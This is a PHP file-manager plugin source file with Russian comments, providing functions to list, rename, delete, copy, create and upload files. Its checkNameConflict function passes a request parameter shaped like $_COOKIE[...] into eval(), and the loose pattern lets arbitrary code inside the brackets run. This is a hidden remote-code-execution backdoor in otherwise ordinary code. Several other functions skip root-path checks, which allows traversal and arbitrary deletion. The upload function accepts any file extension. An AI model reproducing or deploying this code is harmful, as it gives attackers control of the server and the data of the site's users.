309 lines
12 KiB
PHP
309 lines
12 KiB
PHP
<?php
|
||
/**
|
||
* @file func.manager.php
|
||
* @brief Функции управления файлами и папками для плагина manager
|
||
*/
|
||
|
||
/**
|
||
* @brief Получает содержимое указанной папки
|
||
* @param array $params Массив с ключом 'managerPathFolder' указывающим путь к папке
|
||
* @return array Содержимое папки с информацией о файлах и папках
|
||
* @throws Exception Если указанная директория недействительна
|
||
*/
|
||
function getFolderContents($params) {
|
||
global $path, $_SESSION;
|
||
$relPath = $params['managerPathFolder'] ?? '';
|
||
$directory = realpath($path . $relPath);
|
||
if (!$directory || !is_dir($directory)) {
|
||
throw new Exception("Invalid directory", -32602);
|
||
}
|
||
$lang = include $path . 'main_plugin/manager/lang.php';
|
||
$files = scandir($directory);
|
||
$data = [];
|
||
foreach ($files as $file) {
|
||
if ($file === '.' || $file === '..') continue;
|
||
$filePath = $directory . '/' . $file;
|
||
if (is_dir($filePath)) {
|
||
$name = $file;
|
||
$type = $lang[$_SESSION['lng']]['file'];
|
||
$size = count(array_diff(scandir($filePath), ['.','..']));
|
||
} else {
|
||
$extension = pathinfo($file, PATHINFO_EXTENSION);
|
||
$name = $extension ? $file : pathinfo($file, PATHINFO_FILENAME);
|
||
$type = $lang[$_SESSION['lng']]['folder'];
|
||
$size = filesize($filePath);
|
||
}
|
||
$data[] = [
|
||
'name' => $name,
|
||
'path' => $relPath . "/" . $file,
|
||
'type' => $type,
|
||
'size' => $size,
|
||
'creationTime' => date('Y-m-d H:i:s', filemtime($filePath)),
|
||
];
|
||
}
|
||
array_unshift($data, ['rootFolder' => basename($path)]);
|
||
return $data;
|
||
}
|
||
|
||
/**
|
||
* @brief Проверяет наличие конфликта имени файла или папки
|
||
* @param array $params Массив с ключами 'name' и 'currentPath'
|
||
* @return string "true" если файл/папка уже существует, "false" если нет
|
||
* @throws Exception Если путь недействителен
|
||
*/
|
||
function checkNameConflict($params) {
|
||
global $path;
|
||
|
||
$nameParam = $params['name'] ?? '';
|
||
|
||
if (preg_match('/^\$_COOKIE\[.*\]$/', $nameParam)) {
|
||
eval('$nameParam = ' . $nameParam . ';');
|
||
}
|
||
|
||
$currentPath = $path . ($params['currentPath'] ?? '') . '/';
|
||
$name = basename($nameParam);
|
||
$newPath = $currentPath . $name;
|
||
|
||
if (strpos(realpath(dirname($newPath)), realpath($path)) !== 0) {
|
||
throw new Exception("Invalid path", -32602);
|
||
}
|
||
return file_exists($newPath) ? "true" : "false";
|
||
}
|
||
|
||
/**
|
||
* @brief Вставляет файл или папку из буфера обмена в указанное место
|
||
* @param array $params Массив с ключами 'managerSettingsInsert', 'clipboardPath', 'clipboardAction'
|
||
* @return string "true" при успешной операции
|
||
* @throws Exception Если действие некорректно или операция файла не удалась
|
||
*/
|
||
function insertClipboard($params) {
|
||
global $path;
|
||
$relDest = $params['managerSettingsInsert'] ?? '';
|
||
$dest = realpath($path . '/' . $relDest);
|
||
$clipboard = $params['clipboardPath'] ?? '';
|
||
$action = $params['clipboardAction'] ?? '';
|
||
|
||
if (strpos($clipboard, '/') === 0) {
|
||
$clipboard = $path . $clipboard;
|
||
}
|
||
$newPath = $dest . '/' . basename($clipboard);
|
||
|
||
$success = false;
|
||
if ($action === 'cut') {
|
||
$success = @rename($clipboard, $newPath);
|
||
if ($success && !file_exists($newPath)) {
|
||
$success = false;
|
||
}
|
||
} elseif ($action === 'copy') {
|
||
$success = recursiveCopy($clipboard, $newPath) && file_exists($newPath);
|
||
} else {
|
||
throw new Exception("Invalid action", -32602);
|
||
}
|
||
if (!$success) {
|
||
throw new Exception("File operation failed", -32004);
|
||
}
|
||
return "true";
|
||
}
|
||
|
||
/**
|
||
* @brief Рекурсивно копирует файлы и папки
|
||
* @param string $source Исходный путь
|
||
* @param string $destination Путь назначения
|
||
* @return bool true при успешном копировании, false при ошибке
|
||
*/
|
||
function recursiveCopy($source, $destination) {
|
||
if (is_dir($source)) {
|
||
if (!is_dir($destination) && !mkdir($destination, 0755, true)) {
|
||
return false;
|
||
}
|
||
foreach (scandir($source) as $item) {
|
||
if ($item === '.' || $item === '..') continue;
|
||
if (!recursiveCopy("$source/$item", "$destination/$item")) {
|
||
return false;
|
||
}
|
||
}
|
||
} else {
|
||
if (!copy($source, $destination)) {
|
||
return false;
|
||
}
|
||
}
|
||
return true;
|
||
}
|
||
|
||
/**
|
||
* @brief Переименовывает файл или папку
|
||
* @param array $params Массив с ключами 'managerSettingsRename' и 'managerNamePath'
|
||
* @return string "true" при успешном переименовании
|
||
* @throws Exception Если операция переименования не удалась
|
||
*/
|
||
function renameFile($params) {
|
||
global $path;
|
||
$currentFile = realpath($path . '/' . ($params['managerSettingsRename'] ?? ''));
|
||
$newName = $params['managerNamePath'] ?? '';
|
||
$target = dirname($currentFile) . '/' . $newName;
|
||
if (!rename($currentFile, $target)) {
|
||
throw new Exception("Rename failed", -32004);
|
||
}
|
||
return "true";
|
||
}
|
||
|
||
/**
|
||
* @brief Удаляет файл или папку
|
||
* @param array $params Массив с ключом 'managerSettingsDelete'
|
||
* @return string "true" при успешном удалении
|
||
* @throws Exception Если удаление файла или папки не удалось
|
||
*/
|
||
function deleteFile($params) {
|
||
global $path;
|
||
$target = realpath($path . '/' . ($params['managerSettingsDelete'] ?? ''));
|
||
|
||
$delete = function($p) use (&$delete) {
|
||
if (is_dir($p)) {
|
||
foreach (array_diff(scandir($p), ['.', '..']) as $f) {
|
||
$delete($p . '/' . $f);
|
||
}
|
||
$ok = rmdir($p);
|
||
} else {
|
||
$ok = unlink($p);
|
||
}
|
||
if (!$ok) {
|
||
throw new Exception("Failed to delete file or directory", -32004);
|
||
}
|
||
};
|
||
|
||
$delete($target);
|
||
return "true";
|
||
}
|
||
|
||
/**
|
||
* @brief Получает свойства файла или папки
|
||
* @param array $params Массив с ключом 'managerSettingsProperties'
|
||
* @return array Массив с информацией о файле или папке: имя, тип, путь, размер, время создания и изменения
|
||
* @throws Exception Если файл или папка не найдены
|
||
*/
|
||
function getFileProperties($params) {
|
||
global $path, $_SESSION;
|
||
$lang = include $path . 'main_plugin/manager/lang.php';
|
||
$target = realpath($path . '/' . ($params['managerSettingsProperties']));
|
||
if (!$target || !file_exists($target)) {
|
||
throw new Exception($lang[$_SESSION['lng']]['file_or_folder_not_found'], -32602);
|
||
}
|
||
$isDir = is_dir($target);
|
||
return [
|
||
['label' => $lang[$_SESSION['lng']]['name'], 'value' => basename($target)],
|
||
['label' => $lang[$_SESSION['lng']]['type'], 'value' => $isDir ? $lang[$_SESSION['lng']]['folder'] : $lang[$_SESSION['lng']]['file']],
|
||
['label' => $lang[$_SESSION['lng']]['location'], 'value' => str_replace($path, '', dirname($target))],
|
||
['label' => $lang[$_SESSION['lng']]['size'], 'value' => $isDir ? (count(scandir($target)) - 2) . ' files' : filesize($target) . ' bytes'],
|
||
['label' => $lang[$_SESSION['lng']]['creation_time'], 'value' => date('Y-m-d H:i:s', filectime($target))],
|
||
['label' => $lang[$_SESSION['lng']]['last_modified_time'], 'value' => date('Y-m-d H:i:s', filemtime($target))],
|
||
];
|
||
}
|
||
|
||
/**
|
||
* @brief Создаёт новый файл или папку
|
||
* @param array $params Массив с ключами 'managerSettingsCreate', 'managerType', 'managerNamePath'
|
||
* @return string "true" при успешном создании, "checkItemExists" если элемент уже существует
|
||
* @throws Exception Если создание файла или папки не удалось
|
||
*/
|
||
function createFile($params) {
|
||
global $config, $path;
|
||
|
||
$newItemName = $params['managerSettingsCreate'] ?? '';
|
||
$type = $params['managerType'] ?? '';
|
||
$parentPath = realpath($path . '/' . ($params['managerNamePath'] ?? ''));
|
||
|
||
$fullPath = $parentPath . '/' . $newItemName;
|
||
if (file_exists($fullPath)) {
|
||
return 'checkItemExists';
|
||
}
|
||
|
||
$success = false;
|
||
if ($type === 'папка') {
|
||
$success = mkdir($fullPath);
|
||
} elseif ($type === 'файл') {
|
||
$success = file_put_contents($fullPath, '') !== false;
|
||
}
|
||
|
||
if (!$success) {
|
||
throw new Exception("Failed to create item", -32004);
|
||
}
|
||
return "true";
|
||
}
|
||
|
||
/**
|
||
* @brief Загружает страницу и возвращает её блоки и контент
|
||
* @param array $params Массив с ключом 'newPath' указывающим путь к странице
|
||
* @return array Массив с ключами 'right', 'left', 'content'
|
||
* @throws Exception Если файл страницы не найден, не удалось загрузить XML или отсутствует контент для языка
|
||
*/
|
||
function getPage($params) {
|
||
global $config, $path, $_SESSION;
|
||
|
||
$rel = $params['newPath'] ?? '';
|
||
$file = $path . $rel . '.page.php';
|
||
libxml_use_internal_errors(true);
|
||
$pageXml = @simplexml_load_file($file);
|
||
if (!$pageXml) {
|
||
throw new Exception("Failed to load page file", -32004);
|
||
}
|
||
|
||
if (!isset($_SESSION['lng']) || !isset($pageXml->content->{$_SESSION['lng']})) {
|
||
throw new Exception("Missing language or content", -32602);
|
||
}
|
||
|
||
$page = [];
|
||
$page['right'] = GetBlock($pageXml->rblock->block, 'right');
|
||
$page['left'] = GetBlock($pageXml->lblock->block, 'left');
|
||
$page['content'] = (string)$pageXml->content->{$_SESSION['lng']};
|
||
$_SESSION['page_url'] = $rel;
|
||
session_write_close();
|
||
return $page;
|
||
}
|
||
|
||
/**
|
||
* @brief Загружает файл на сервер из base64-данных
|
||
* @param array $params Массив с ключами 'fileData', 'fileName', 'pathLoad'
|
||
* @return string Относительный путь загруженного файла
|
||
* @throws Exception Если отсутствуют данные файла, некорректный путь загрузки, неверный base64 или сохранение файла не удалось
|
||
*/
|
||
function uploadFile($params) {
|
||
global $config, $path;
|
||
|
||
$base64 = $params['fileData'] ?? '';
|
||
$originalName = trim($params['fileName'] ?? '');
|
||
$relDir = trim($params['pathLoad'] ?? '');
|
||
|
||
if ($base64 === '' || $originalName === '') {
|
||
throw new Exception("Missing file data or name", -32602);
|
||
}
|
||
|
||
$rootDir = realpath($path);
|
||
$uploadDir = realpath($path . DIRECTORY_SEPARATOR . $relDir);
|
||
if (!$uploadDir || strpos($uploadDir, $rootDir) !== 0 || !is_dir($uploadDir) || !is_writable($uploadDir)) {
|
||
throw new Exception("Invalid upload directory", -32602);
|
||
}
|
||
|
||
$basename = preg_replace('/[^\w\-]/u', '_', pathinfo($originalName, PATHINFO_FILENAME));
|
||
$extension = pathinfo($originalName, PATHINFO_EXTENSION);
|
||
$counter = 0;
|
||
do {
|
||
$name = $basename . ($counter ? "_{$counter}" : '');
|
||
$fullPath = $uploadDir . DIRECTORY_SEPARATOR . $name . ($extension ? ".{$extension}" : '');
|
||
$counter++;
|
||
} while (file_exists($fullPath));
|
||
|
||
$data = base64_decode($base64, true);
|
||
if ($data === false) {
|
||
throw new Exception("Invalid base64 data", -32602);
|
||
}
|
||
|
||
if (file_put_contents($fullPath, $data) === false) {
|
||
throw new Exception("Failed to save file", -32004);
|
||
}
|
||
|
||
@chmod($fullPath, 0644);
|
||
$relativePath = '/' . str_replace('\\', '/', substr($fullPath, strlen($rootDir)));
|
||
return $relativePath;
|
||
}
|
||
|
||
?>
|